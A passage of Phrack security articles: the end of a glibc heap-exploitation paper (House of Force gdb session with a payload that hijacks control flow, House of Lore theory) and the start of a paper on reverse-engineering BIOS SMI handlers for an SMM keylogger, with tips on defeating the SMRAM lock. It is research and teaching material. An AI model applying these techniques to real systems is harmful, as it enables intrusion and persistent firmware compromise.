0x080481f6 <fvuln+6>: movl $0x100,(%esp)

0x080481fd <fvuln+13>: call 0x804d3b0 <malloc>

..........

..........

0x08048225 <fvuln+53>: call 0x804e710 <strcpy>

..........

..........

0x08048243 <fvuln+83>: call 0x804d3b0 <malloc>

0x08048248 <fvuln+88>: mov %eax,‑0x8(%ebp)

0x0804824b <fvuln+91>: movl $0x100,(%esp)

0x08048252 <fvuln+98>: call 0x804d3b0 <malloc>

..........

..........

0x08048270 <fvuln+128>: call 0x804e7f0 <strncpy>

0x08048275 <fvuln+133>: leave

0x08048276 <fvuln+134>: ret

End of assembler dump.

(gdb) break *fvuln+83 /* Before malloc(len) */

Breakpoint 1 at 0x8048243

(gdb) break *fvuln+88 /* After malloc(len) */

Breakpoint 2 at 0x8048248

(gdb) run 3086207636 `perl ‑e 'print "\xff"x264'`

.....

PTR1 = [ 0x80c2688 ]

Breakpoint 1, 0x08048243 in fvuln ()

(gdb) x/16x &main_arena

..........

..........

0x80bf550 <main_arena+48>: 0x080c2788 0x00000000 0x080bf550 0x080bf550

|

(gdb) c av‑>top

Continuing.

Breakpoint 2, 0x08048248 in fvuln ()

(gdb) x/16x &main_arena

..........

..........

0x80bf550 <main_arena+48>: 0xbffff220 0x00000000 0x080bf550 0x080bf550

|

point to stack

(gdb) x/4x $ebp‑8

0xbffff220: 0x00000000 0x480c3561 0xbffff258 0x080482cd

|

(gdb) c important

Continuing.

Program received signal SIGSEGV, Segmentation fault.

0x41414141 in ?? () /* Our application smash the stack itself */

(gdb)

[‑‑‑‑‑]

Yeah! So it was possible!!!

I pointed out one value as "important" in the stack, and it is one of the last condition for a successful implementation of this technique. It requires that the "size" field of the new Wilderness chunk, been at least greater than the request made by the last call to "malloc()".

NOTE: As you have seen in the introduction of this article, g463 wrote a paper about how to take advantage of the set_head() macro in order to overwrite an arbitrary memory address. This would be strongly recommendable that you read this work. He also presented a briew research about The House of Force...

Due to a serious error of mine, I did not read this article until a Phrack member warned me of its existence after I had edited my article. I can't avoid feeling amazed at the level of skills these people are reaching. The work of g463 is really smart.

In conclusion to this technique, I asked what would happen if, instead of what we have seen, the vulnerable code would looks like:

.....

char buffer[64];

ptr2 = malloc(len);

ptr3 = calloc(256);

strncpy(buffer, argv[1], 63);

.....

At first, it is quite similar, only the last chunk of memory allocated is done through the function "calloc()" and in this case do not control their content, but we control a buffer declared at the beginning of the vulnerable function.

Faced with this obstacle, I had an idea in mind. If it remains possible return an arbitrary piece of memory and since calloc() will fill it with "0's", perhaps it could be placed so that the last NULL byte "0" may overwrite the last byte of a saved EBP, so this is passed finally to ESP, and may control the return address from within our buffer[].

But soon I warned that the alignment of malloc() algorithm when this is called, thwarts this possibility. We could overwrite EBP completely with "0's", which is useless for our purposes. And besides, always there to take care not to crush our buffer[] with zeros if the reserve of memory occurs after the content has been established by the user.

And it is all... As always, this technique also remains being applicable with the latest versions of glibc (2.8.90).

We have arrived, pushed by the power of force, to The House of Force.

<< La gente comienza a plantearse si todo lo que se puede hacer se debe hacer. >>

D. Ruiz Larrea ]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑‑[ 4.4.1 ‑‑‑[ MISTAKES ]‑‑‑

‑‑‑‑‑‑‑‑‑‑‑‑‑‑

In fact, what we have done in the previous section, the fact of using the stack was the only viable solution that I found, after realize some errors that Phantasmal had not expected.

The point is that the description of his technique, he raised the possibility of overwrite targets as .dtors or Global Offset Table. But I soon realized that this did not seem possible.

Given that "av‑>top" was: [0x080c2788]. In a short analysis like this...

blackngel@linux:~$ objdump ‑s ‑j .dtors ./hof

.....

Contents of section .dtors:

80be47c ffffffff 20480908 00000000

.....

Contents of section .got:

80be4b8 00000000 00000000

... we can see that both addresses are behind the address of "av‑>top", and an amount not lead us to these addresses. Function pointers, the BSS region, and also other things are behind...

If you want to play with negative numbers or integer overflows, I allow that you to make all neccesary tests.

It is by this that the Malloc Maleficarum did not mention that the designer controlled value to allocate memory, should be an "unsigned" or, otherwise, any value greater than 2147483647 will change its sign directly to become a negative value, which ends at most cases with a segmentation fault.

He doesn't think this because he think that he could overwrite memory positions that were at highest addresses that the Wilderness chunk, bu not as far as "0xbffffxxx".

Imposible is nothing in this world, and I know that you can feel The House of Force.

<< La utopia esta en el horizonte. Me acerco dos pasos, ella se aleja dos pasos. Camino diez pasos y el horizonte se corre diez pasos mas alla. Por mucho que yo camine, nunca la alcanzare. Para que sirve la utopia? Para eso sirve, para caminar. >>

E. Galeano ]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑‑[ 4.5 ‑‑‑[ THE HOUSE OF LORE ]‑‑‑

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

This technique will be detailed here in a theoretical way to express what Phantasmal supposedly wanted to say in his Malloc Maleficarum paper.

The House of Lore requires triggering numerous calls to "malloc()" what seems not to be a designer controlled value and turns into something unreal.

But I again repeat the same thing I said at the end of the technique The House of Mind (CVS vulnerability). And the same showed case is perfect for the conditions that should meet in The House of Lore. We need multiple calls to malloc( ) controlling their sizes.

To give a simple explanation, we will approach to the topic through schemes.

When a chunk is stored in your appropriated "bin", it is inserted as the first:

1) Calculating the index for the chunk's size:

victim_index = smallbin_index(size);

2) Get the proper bin:

bck = bin_at(av, victim_index);

3) Get the first chunk:

fwd = bck‑>fd;

4) Pointer "bk" of chunk points to the bin:

victim‑>bk = bck;

5) Pointer "fd" of chunk points to the previous first chunk at bin:

victim‑>fd = fwd;

6) Pointer "bk" of the next chunk points to our inserted chunk:

fwd‑>bk = victim;

7) Pointer "fd" of the "bin" points to our chunk:

bck‑>fd = victim;

bin‑>bk ___ bin‑>fwd o‑‑‑‑‑‑‑‑[bin]‑‑‑‑‑‑‑‑‑‑o

! ^ ^

[last]‑‑‑‑‑‑‑| |‑‑‑‑‑‑‑[victim]

^| l‑>fwd v‑>bk ^|

|!

[....] [

\\ /

[....] [....]

^ |____________^ |

|________________|

Into "unlink code", if "victim" is taken from "bin‑>bk, it may be necessary to repeat numerous calls to malloc() until the "victim" reach the "last" position.

Let's see the code to discover a few things:

.....

if ( (victim = last(bin)) != bin) {

if (victim == 0) /* initialization check */

malloc_consolidate(av);

else {

bck = victim‑>bk; set_inuse_bit_at_offset(victim, nb);

bin‑>bk = bck;

bck‑>fd = bin;

...

return chunk2mem(victim);

.....

In this technique, Phantasmal said that the ultimate goal was to overwrite "bin‑>bk," but the first element that we can control is "victim‑>bk". As far as I can understand, we must ensure that the overflowed chunk passed to "free ()" is in the previous position to "last", so that "victim‑>bk" point to its address, that we must control and should point to the stack.

This address is passed to "bck" and then will change "bin‑>bk". Due to this, we now control the "last" chunk with a designer controlled address.

That is why we need a new call to "malloc()" with same size as the previous call, so that this value is the new "victim" and is returned in:

return chunk2mem (victim);

[‑‑‑‑‑]

*ptr1 ‑> modified;

First call to "malloc()":

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

___[chunk]_____[chunk]_____[chunk]____

|

! bk bk | [bin]‑‑‑‑‑>[last=victim]‑‑‑‑‑>[ ptr1 ]‑‑‑/

^____________| ^_______________|

fwd ^ fwd

|

return chunk2men(victim);

Second call to "malloc()":

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

___[chunk]_____[chunk]_____[chunk]____

|

! bk bk | [bin]‑‑‑‑‑>[ ptr1 ]‑‑‑‑‑‑‑‑‑>[ chunk ]‑‑‑/

^___________| ^________________|

fwd ^ fwd

|

return chunk2men(ptr1);

[‑‑‑‑‑]

One must be careful with that also overwrites "bck‑>fd" in turn, in the stack it is not a big problem.

It is for this reason that if your interest is really enough, my tip is that you don't pay much attention to The House of Prime, as indicated Phantasmal in his paper, instead, consider again the House of Spirit.

In theory, using a similar technique, a false chunk should can been sited in its corresponding "bin" and trigger a further call to "malloc()" that could returns the same memory space.

Remember that the size of allocated chunk must be greater than "av‑>max_fast" (72), and less than 512 to execute "small bin" code instead of fastbin code:

#define NSMALLBINS 64

#define SMALLBIN_WIDTH MALLOC_ALIGNMENT

#define MIN_LARGE_SIZE (NSMALLBINS * SMALLBIN_WIDTH)

[64] * [8] = [512]

For "largebin" method will have to use larger chunks than this estimated size.

Like all houses, it's only a way of playing, and The House of Lore, although not very suitable for a credible case, no one can say that is a complete exception...

<< La humanidad necesita con urgencia una nueva sabiduria que proporcione el conocimiento de como usar el conocimiento para la supervivencia del hombre y para la mejora de la calidad de vida. >>

V. R. Potter ]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑‑[ 4.6 ‑‑‑[ THE HOUSE OF UNDERGROUND ]‑‑‑

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Well, this house really was not described in Phantasmal Phantasmagoria's paper, but it is quite useful to describe a concept that I have in mind.

In this world are all possibilities. Chances that something goes well, or chances of something going wrong. In the world of the vulnerabilities exploitation, this remains true. The problem is to get the neccesary skills to find these possibilities, usually the possibility of that something goes well.

Speaking at this time to unite several of the prior techniques in a same attack should not be so strange, and sometimes could be the most appropriate solution. Recall that g463 is not satisfied with the technique The House of Force to work on the vulnerability of the file (1) utility, but he was looking for new possibilities so that things come out well.

For example ... what about using in a same instant the The House of Mind and The House of Spirit methods?

Consider that both have their own limitations. On the one hand, The House Mind need as has been said a piece of memory in an above address that "0x08100000", while The House of Spirit, states that once the pointer to be free()ed has been overwritten, a new call to malloc() will be done.

In The House of Mind, the main goal is to control the "arena" structure and this change starts with the modification of the third bit less significant of the size field of the overwritten chunk (P). But the fact we can modify this metadata, does not mean that we have control of the address of this chunk.

In contrast, in The House of Spirit, we alter the address of P, through the manipulation of the pointer to the data area (*mem). But what happens if in your vulnerable application does not exist a new call to malloc() that will return an arbitrary piece of memory on the stack?

You may still investigate new avenues, but I would not be assured that running.

If we can change the pointer to be freed, like in The House of Spirit, this will be passed to free() in:

public_fREe(Void_t* mem)

We can make it point to some place like the stack or the environment. It should always be a memory location with data controlled by the user. Then the effective address of the chunk would taken at:

p = mem2chunk(mem);

At this point we leave The House of The Spirit to focus on The House of Mind. Then again we must control the arena "ar_ptr" and, to achieve this, (&p + 4) should contain a size with the NON_MAIN_ARENA bit enabled.

But that is not the most important thing here, the final question is: could you put the chunk in a place so that you can then control the area returned by "heap_for_ptr(ptr)‑>ar_ptr"?

Remember that in the stack that would be something like "0xbff00000". It seems quite difficult reach an address like this even introducing a padding into environment.

But again, all ways should be studied, you could find a new method, and perhaps you call it The House of Underground...

<< Los apasionados de Internet han encontrado en esta opcion una impensada oportunidad de volver a ilusionarse con el futuro. No solo algunos disfrutan como enanos; creen que este instrumento agiganta y que, acabada la fragmentacion entre unos y otros, se ha ingresado en la era de la conexion global. Internet no tiene centro, es una red de dibujo democratico y popular. >>

[ V. Verdu: El enredo de la red ]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑‑[ 5 ‑‑‑[ ASLR and Nonexec Heap (The Future) ]‑‑‑

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

We have not discussed in this article about how to circumvent protections like memory address randomization (ASLR) and a non executable Heap . And we will not do, but something we can say about it. You should be aware that in all my basic exploits, I have hardcoded the majority of the addresses.

This way of working is not very reliable in the days we live in...

In all techniques presented in this paper, especially int The House of Spirit or The House of Force, where all comes down to a stack overflow, we guess that it would be applicable the methods described in other papers released in Phrack magazine or extern publications that explained how to bypass ASLR protection and others about how to return into mprotect ( ) to bypass a non exectuable heap and things like that.

Regarding to the first topic, we have a magic work, "Bypassing PaX ASLR protection" [11] by Tyler Durden in Phrack 59.

On the other hand, circumvent a non executable heap whether if ASLR is present and our skills to find the real address of a function like mprotect( ) to allow us to change the permissions of the pages of memory.

Since I started my little research and work to write this article, my goal has always been to leave this task as the homework for new hackers who have the strength to continue in this way.

Finally, this is a new area for further research.

<< Todo tiene algo de belleza pero no todos son capaces de verlo. >>

Confucio ]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑‑[ 6 ‑‑‑[ THE HOUSE OF PHRACK ]‑‑‑

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

This is just a way so you can continue researching. There is a world full of possibilities, and most of them still aren't discovered. Do you want be the next?

This is your house!

To finish, because Phrack admits "spirit oriented" articles, I will venture to drop a simple comment.

Anyone interested in Linux development had read ever interesting articles as "The Cathedral and the Bazar" and "Homesteading the Noosphere" of the arch‑known founder of the Open Source movement, Eric S. Raymond. For this is not so, maybe they had read "Jargon File" or perhaps for others, the "Hacker How‑To". It is the latter that we are interested, especially when Raymond mentions the following:

* Don't use a silly, grandiose user ID or screen name.

<< The problem with screen names or handles deserves some amplification. Concealing your identity behind a handle is a juvenile and silly behavior characteristic of crackers, warez d00dz, and other lower life forms. Hackers don't do this; they're proud of what they do and want it associated with their real names. So if you have a handle, drop it. In the hacker culture it will only mark you as a loser. >>

As far as I understand, this means that all those who had written in Phrack are childhood, crackers, lower life forms and are marked in the hacker culture as losers.

Is there some connection between our name and our skills, philosophy of life or our ethics in hacking?

Me, in my sole opinion, if this is true, I am proud that Phrack admit into their lines to lower life forms. Lower life forms that have helped to raise the security level of the network of networks in ways unimaginable.

To all of them, thanks!!!

blackngel

"Adormecida, ella yace con los ojos abiertos como la ascensin del Angel hacia arriba Sus bellos ojos de disuelto azul que responden ahora: "lo hare, lo hago! la pregunta realizada hace tanto tiempo.

Aunque ella debe gritar

no lo parece

lo que pronuncia es mas que un grito Yo se que el Angel debe llegar para besarme suavemente, como mi estimulo la aguja profunda penetra en sus ojos."

* Versos 4 y 5 de "El beso del Angel Negro"

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑‑[ 7 ‑‑‑[ REFERENCES ]‑‑‑

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

[1] Vudo ‑ An object superstitiously believed to embody magical powers http://www.phrack.org/issues.html?issue=57&id=8#article

[2] Once upon a free() http://www.phrack.org/issues.html?issue=57&id=9#article

[3] Advanced Doug Lea's malloc exploits http://www.phrack.org/issues.html?issue=61&id=6#article

[4] Malloc Maleficarum http://seclists.org/bugtraq/2005/Oct/0118.html

[5] Exploiting the Wilderness http://seclists.org/vuln‑dev/2004/Feb/0025.html

[6] The House of Mind http://www.awarenetwork.org/etc/alpha/?x=4

[7] The use of set_head to defeat the wilderness http://www.phrack.org/issues.html?issue=64&id=9#article

[8] GLIBC 2.3.6 http://ftp.gnu.org/gnu/glibc/glibc‑2.3.6.tar.bz2

[9] PTMALLOC of Wolfram Gloger

http://www.malloc.de/en/

[10] The art of Exploitation: Come back on an exploit http://www.phrack.org/issues.html?issue=64&id=15#article

[11] Bypassing PaX ASLR protection http://www.phrack.org/issues.html?issue=59&id=9#article

A Real SMM Rootkit

==Phrack Inc.==

Volume 0x0d, Issue 0x42, Phile #0x0B of 0x11

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑=[ A Real SMM Rootkit: Reversing and Hooking BIOS SMI Handlers ]=‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ Filip Wecherowski ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ core collapse <core_collapse@hush.com> ]=‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑[ ABSTRACT

The research provided in this paper describes in details how to reverse engineer and modify System Management Interrupt (SMI) handlers in the BIOS system firmware and how to implement and detect SMM keystroke logger. This work also presents proof of concept code of SMM keystroke logger that uses I/O Trap based keystroke interception and a code for detection of such keystroke logger.

‑‑[ INDEX

1 ‑ INTRODUCTION

2 ‑ REVERSE ENGINEERING SYSTEM MANAGEMENT INTERRUPT (SMI) HANDLERS

2.1 ‑ Brief Overview of BIOS Firmware

2.2 ‑ Overview of System Management Mode (SMM)

2.3 ‑ Extracting binary of BIOS SMI Handlers

2.4 ‑ Disassembling SMI Handlers

2.5 ‑ Disassembling "main" SMI dispatching function 2.6 ‑ Hooking SMI handlers

3 ‑ SMM KEYLOGGER

3.1 ‑ Hardware I/O Trap mechanism

3.2 ‑ Programming I/O Trap to capture keystrokes

3.3 ‑ System Management Mode keylogger payload

3.4 ‑ I/O Trap based keystroke logger SMI handler

3.5 ‑ Multi‑processor keylogger specifics

4 ‑ SUGGESTED DETECTION METHODS

4.1 ‑ Detecting I/O Trap based SMM keylogger

4.2 ‑ General timing based detection

5 ‑ CONCLUSION

6 ‑ SOURCE CODE

6.1 ‑ I/O Trap based System Management Mode keystroke logger 6.2 ‑ Programming I/O Trap

6.3 ‑ Detecting I/O Trap SMI keystroke logger

7 ‑ REFERENCES

‑‑[ 1 ‑ INTRODUCTION

This work gives an overview of how code works in Systems Management Mode and how it can be Hi Jack!ed to inject malicious SMI code. As an example, we show how to hijack SMI code and inject SMM keystroke logger payload.

SMM malware as well as security of SMI code in (U)EFI firmware was discussed in [efi_hack]. SMM keylogger was first introduced by Sherri Sparks and Shawn Embleton at Black Hat USA 2008 [smm_rkt] but very little details were provided by the authors regarding how SMI code works, how one could hook it and more importantly how would anyone detect such malware.

We use a different technique to enable keystroke logging in SMM than was used by [smm_rkt]. We utilize I/O Trap mechanism provided by modern chipsets instead of I/O APIC.

We strongly believe that to effectively combat SMM malware in the future we need to learn internals of SMM firmware which is a primary motivation for writing this article. Until then SMM security will be in a state of hysteria. In the paper we also describe some methods to detect the presence of SMI keystroke logger.

We do not disclose any vulnerability that would allow injecting malicious payload into SMM. The first known SMM exploit was disclosed in [smm], another exploit was disclosed in [xen_0wn] (*). Both of them exploited insecure hardware configuration programmed by the BIOS system firmware that also contains SMI handlers. Thus far, very little research is available in the internals of SMI handlers. We believe this is due to complexity of their debugging and reverse engineering. This work is designed to close this gap regardless of specific vulnerabilities that may be used to inject malicious code into SMM.

It should be noted that this work only explores SMI code in the BIOS of ASUS motherboards, specifically in ASUS P5Q based on Intel P45 hardware. ASUS implements BIOS based on AMIBIOS 8 therefore most of the results of this work apply to other motherboard manufacturers that use BIOS firmware based on AMI BIOS. Many results are also applicable to motherboards that use other BIOS cores because of similarities in implementation of SMI handlers in different BIOS firmware. SMM is a x86 feature common for all motherboards which also leads to a similar SMI firmware design across different BIOS firmware implementations.

(*) While writing this article authors learned about another vulnerability discovered in CPU SMRAM caching design [smm_cache].

‑‑[ 2 ‑ REVERSE ENGINEERING SYSTEM MANAGEMENT INTERRUPT (SMI) HANDLERS

‑‑[ 2.1 ‑ Brief Overview of BIOS Firmware

The first instruction fetched by CPU after reset is located at 0xFFFFFFF0 address and is mapped to BIOS firmware ROM. This instruction is referred to as "reset vector". Reset vector is typically a jump to the first bootstrap code, BIOS boot block. Boot block code and reset vector are physically residing in BIOS ROM. Access to BIOS ROM is slow compared to DRAM and BIOS firmware cannot use writable memory such as stack when executing from ROM or flash.

For these reasons BIOS boot block code copies the rest of system BIOS code from ROM into DRAM. This process is known as "BIOS shadowing". Shadowed system BIOS code and data segments reside in lower DRAM regions below 1MB. Main system BIOS code is located in memory ranges 0xE0000 ‑ 0xEFFFF or 0xF0000 ‑ 0xFFFFF.

BIOS firmware includes not only boot‑time code but also firmware that will be executing at run‑time "in parallel" to the Operating System but in it's own "orthogonal" SMRAM memory reserved from the OS. This run‑time firmware consists of System Management Interrupt (SMI) handlers that execute in System Management Mode (SMM) of a CPU.

‑‑[ 2.2 ‑ Overview of System Management Mode (SMM)

Processor switches to System Management Mode (SMM) from protected or real‑address mode upon receiving System Management Interrupt (SMI) from various internal or external devices or generated by software. In response to SMI it executes special SMI handler located in System Management RAM (SMRAM) region reserved by the BIOS from Operating System for various SMI handlers. SMRAM is consisting of several regions contiguous in physical memory: compatibility segment (CSEG) fixed to addresses 0xA0000 ‑ 0xBFFFF below 1MB or top segment (TSEG) that can reside anywhere in the physical memory.

If CPU accesses CSEG while not in SMM mode (regular protected mode code), memory controller forwards the access to video memory instead of DRAM. Similarly, non‑SMM access to TSEG memory is not allowed by the hardware. Consequently, access to SMRAM regions is allowed only while processor is executing code in SMM mode. At boot time, system BIOS firmware initializes SMRAM, decompresses SMI handlers stored in BIOS ROM and copies them to SMRAM. BIOS firmware then should "lock" SMRAM to enable its protection guaranteed by chipset so that SMI handlers cannot be modified by the OS or any other code from this point on.

Upon receiving SMI CPU starts fetching SMI handler instructions from SMRAM in big real mode with predefined CPU state. Shortly after that, SMI code in modern systems initializes and loads Global Descriptor Table (GDT) and transitions CPU to protected mode without paging. SMI handlers can access 4GB of physical memory. Operating System execution is suspended for the entire time SMI handler is executing till it resumes to protected mode and restarts OS execution from the point it was interrupted by SMI.

Default treatment of SMI and SMM code by the processor that supports virtual machine extensions (for example, Intel VMX) is to leave virtual machine mode upon receiving SMI for the entire time SMI handler is executing [intel_man]. Nothing can cause CPU to exit to virtual machine root (host) mode when in SMM, meaning that Virtual Machine Monitor (VMM) does not control/virtualize SMI handlers.

Quite obviously that SMM represents an isolated and "privileged" environment and is a target for malware/rootkits. Once malicious code is injected into SMRAM, no OS kernel or VMM based anti‑virus software can protect the system nor can they remove it from SMRAM.

It should be noted that the first study of SMM based rootkits was provided in the paper [smm] followed by [phrack_smm] and a proof of concept implementation of SMM based keylogger and network backdoor in [smm_rkt].

‑‑[ 2.3 ‑ Extracting binary of BIOS SMI Handlers

There seems to be a common misunderstanding that some "hardware analyzer" is required to disassemble SMI handlers. No, it is not. SMI handlers is a part of BIOS system firmware and can be disassembled similarly to any BIOS code. For detailed information on reversing Award and AMI BIOS, interested reader should read this excellent book and series of articles by Pinczakko [bios_disasm].

There are two easy ways to dump SMI handlers on a system:

1. Use any vulnerability to directly access SMRAM from protected mode and dump all contents of SMRAM region used by the BIOS (TSEG, High SMRAM or legacy SMRAM region at 0xA0000‑0xBFFFF). For instance, if BIOS doesn't lock SMRAM by setting D_LCK bit then SMRAM can be dumped after modifying SMRAMC PCI configuration register as explained in [smm] and [phrack_smm].

If you are unfortunate and BIOS locks SMRAM and there are no other flaw to use then BIOS firmware can be modified such that it doesn't set D_LCK any more. After re‑flashing modified BIOS ROM binary back and booting the system from this BIOS, SMRAM will not be locked and can be dumped from the OS. This, surely, works only if BIOS firmware isn't digitally signed. Oh, we forgot that almost no motherboards use digitally signed non‑EFI BIOS firmware.

Here's a hint how to find where BIOS firmware sets D_LCK bit. BIOS firmware is most likely using legacy I/O access to PCI configuration registers using 0xCF8/0xCFC ports. To access SMRAMC register BIOS should first write value 0x8000009C to 0xCF8 address port and then a needed value (typically, 0x1A to lock SMRAM) to 0xCFC data port.

2. There's another, probably simpler, way to disassemble SMI handlers, that doesn't require access to SMRAM at run‑time.

2.1. Dump BIOS firmware binary from BIOS ROM using Flash programmer or simply download the latest BIOS binary from vendor's web site ;). For ASUS P5Q motherboard download P5Q‑ASUS‑PRO‑1613.ROM file.

2.2. Most of the BIOS firmware including Main BIOS module which contains SMI handlers is compressed. Use tools provided by vendor to extract/decompress the Main BIOS module. ASUS BIOS is based on AMI BIOS so we used AMIBIOS BIOS Module Manipulation Utility, MMTool.exe, to extract the Main BIOS module. Open downloaded .ROM file in MMTool, choose to extract "Single Link Arch BIOS" module (ID=1Bh), check "In uncompressed form" option and save it. This is uncompressed Main BIOS module containing SMI handlers.

Check out a resource on modifying AMI BIOS on The Rebels Heaven forum [ami_mod].

2.3. Once the Main BIOS module is extracted you can start disassembling it to find SMI handlers (for example, using HIEW or IDA Pro). In this paper we hope to provide a starting point for analyzing SMI handlers.

So let's jump to disassembling SMI handlers firmware.

‑‑[ 2.4 ‑ Disassembling SMI Handlers

We noticed that ASUS/AMI BIOS uses an array of structures describing supported SMI handlers. Each entry in the array starts with signature "$SMIxx" where last two characters 'xx' identify specific SMI handler.

Here is SMI dispatch table used by AMIBIOS 8 in ASUS P5Q SE motherboard based on Intel's P45 desktop chipset:

00065CB0: 00 24 53 4D‑49 43 41 00‑00 70 B4 00‑40 BF 07 00 $SMICA p_ @. 00065CC0: 40 20 6E C8‑A8 4B 6E C8‑A8 24 53 4D‑49 53 53 00 @ n..Kn..$SMISS 00065CD0: 00 B1 B4 00‑40 B4 B4 00‑40 91 85 C8‑A8 B5 85 C8 +_ @__ @':...:. 00065CE0: A8 24 53 4D‑49 50 41 00‑00 A8 87 C8‑A8 B9 87 C8 .$SMIPA .+...+. 00065CF0: A8 B4 88 C8‑A8 1C 89 C8‑A8 24 53 4D‑49 53 49 00 .__.. %..$SMISI 00065D00: 00 B5 B4 00‑40 C7 B4 00‑40 63 9F C8‑A8 7B 9F C8 ._ @._ @c_..{_. 00065D10: A8 24 53 4D‑49 58 35 00‑00 35 DE 00‑40 38 DE 00 .$SMIX5 5. @8. 00065D20: 40 BE 9F C8‑A8 D2 9F C8‑A8 24 53 4D‑49 42 50 00 @__..._..$SMIBP 00065D30: 00 E4 E0 00‑40 F6 E0 00‑40 5A A6 C8‑A8 80 A6 C8 .. @.. @Z..._.. 00065D40: A8 24 53 4D‑49 53 53 00‑00 01 E1 00‑40 14 E1 00 .$SMISS . @ . 00065D50: 40 A0 A6 C8‑A8 C6 A6 C8‑A8 24 53 4D‑49 45 44 00 @........$SMIED 00065D60: 00 8D E3 00‑40 90 E3 00‑40 DF A7 C8‑A8 F2 A7 C8 _. @_. @....... 00065D70: A8 24 53 4D‑49 46 53 00‑00 91 E3 00‑40 94 E3 00 .$SMIFS '. @". 00065D80: 40 41 A8 C8‑A8 53 A8 C8‑A8 24 53 4D‑49 50 54 00 @A...S...$SMIPT 00065D90: 00 29 E8 00‑40 39 E8 00‑40 21 AA C8‑A8 33 AA C8 ). @9. @!...3.. 00065DA0: A8 24 53 4D‑49 42 53 00‑00 55 E8 00‑40 58 E8 00 .$SMIBS U. @X. 00065DB0: 40 D0 AA C8‑A8 12 AB C8‑A8 24 53 4D‑49 56 44 00 @.... <..$SMIVD 00065DC0: 00 A3 E8 00‑40 A6 E8 00‑40 CD AB C8‑A8 DD AB C8 _. @.. @.<...<. 00065DD0: A8 24 53 4D‑49 4F 53 00‑00 A7 E8 00‑40 AA E8 00 .$SMIOS .. @.. 00065DE0: 40 CC AC C8‑A8 E7 AC C8‑A8 24 53 4D‑49 42 4F 00 @........$SMIBO 00065DF0: 00 AB E8 00‑40 AE E8 00‑40 F7 AC C8‑A8 FB AC C8 <. @R. @....... 00065E00: A8 24 44 45‑46 FF 00 01‑00 AF E8 00‑40 B2 E8 00 .$DEF. .. @_. 00065E10: 40 9C B3 C8‑A8 A7 B3 C8‑A8 53 53 44‑54 13 06 00 @__..._..SSDT

Another example, SMI dispatch table on ASUS B50A laptop with Intel mobile GM45 express and ICH9M chipset looks similar but has more SMI handlers:

0007BE90: 24 53 4D 49‑54 44 00 00‑92 6D EA 47‑9B 6D EA 47 $SMITD 'm.G>m.G 0007BEA0: 10 6B 66 A8‑11 6B 66 A8‑24 53 4D 49‑54 43 00 00 kf. kf.$SMITC 0007BEB0: 30 7E 66 A8‑39 7E 66 A8‑3A 7E 66 A8‑5F 7E 66 A8 0~f.9~f.:~f._~f. 0007BEC0: 24 53 4D 49‑43 41 00 00‑B0 89 EA 47‑E9 08 EA 47 $SMICA .%.G. .G 0007BED0: 70 81 66 A8‑9B 81 66 A8‑24 53 4D 49‑53 53 00 00 p_f.>_f.$SMISS 0007BEE0: F1 89 EA 47‑F4 89 EA 47‑B8 95 66 A8‑D1 95 66 A8 .%.G.%.G..f...f. 0007BEF0: 24 53 4D 49‑53 49 00 00‑E4 18 32 5E‑F6 18 32 5E $SMISI . 2^. 2^ 0007BF00: 96 97 66 A8‑B4 97 66 A8‑24 53 4D 49‑58 35 00 00 ‑‑f._‑f.$SMIX5 0007BF10: 49 A5 EA 47‑4C A5 EA 47‑92 9B 66 A8‑A6 9B 66 A8 I_.GL_.G'>f..>f. 0007BF20: 24 53 4D 49‑42 4E 00 00‑96 A7 EA 47‑A5 A7 EA 47 $SMIBN ‑..G_..G 0007BF30: 9F A1 66 A8‑B7 A1 66 A8‑24 53 4D 49‑42 50 00 00 _.f...f.$SMIBP 0007BF40: A6 A7 EA 47‑B1 A7 EA 47‑79 A3 66 A8‑9F A3 66 A8 ...G+..Gy_f.__f. 0007BF50: 24 53 4D 49‑45 44 00 00‑49 AA EA 47‑4C AA EA 47 $SMIED I..GL..G 0007BF60: 10 A4 66 A8‑23 A4 66 A8‑24 53 4D 49‑46 53 00 00 .f.#.f.$SMIFS 0007BF70: 4D AA EA 47‑50 AA EA 47‑72 A4 66 A8‑84 A4 66 A8 M..GP..Gr.f.".f. 0007BF80: 24 53 4D 49‑50 54 00 00‑E1 B7 EA 47‑F1 B7 EA 47 $SMIPT ...G...G 0007BF90: 0C A6 66 A8‑1E A6 66 A8‑24 53 4D 49‑42 53 00 00 .f. .f.$SMIBS 0007BFA0: F2 B7 EA 47‑FE B7 EA 47‑C0 A6 66 A8‑4D A7 66 A8 ...G...G..f.M.f. 0007BFB0: 24 53 4D 49‑42 4F 00 00‑FF B7 EA 47‑02 B8 EA 47 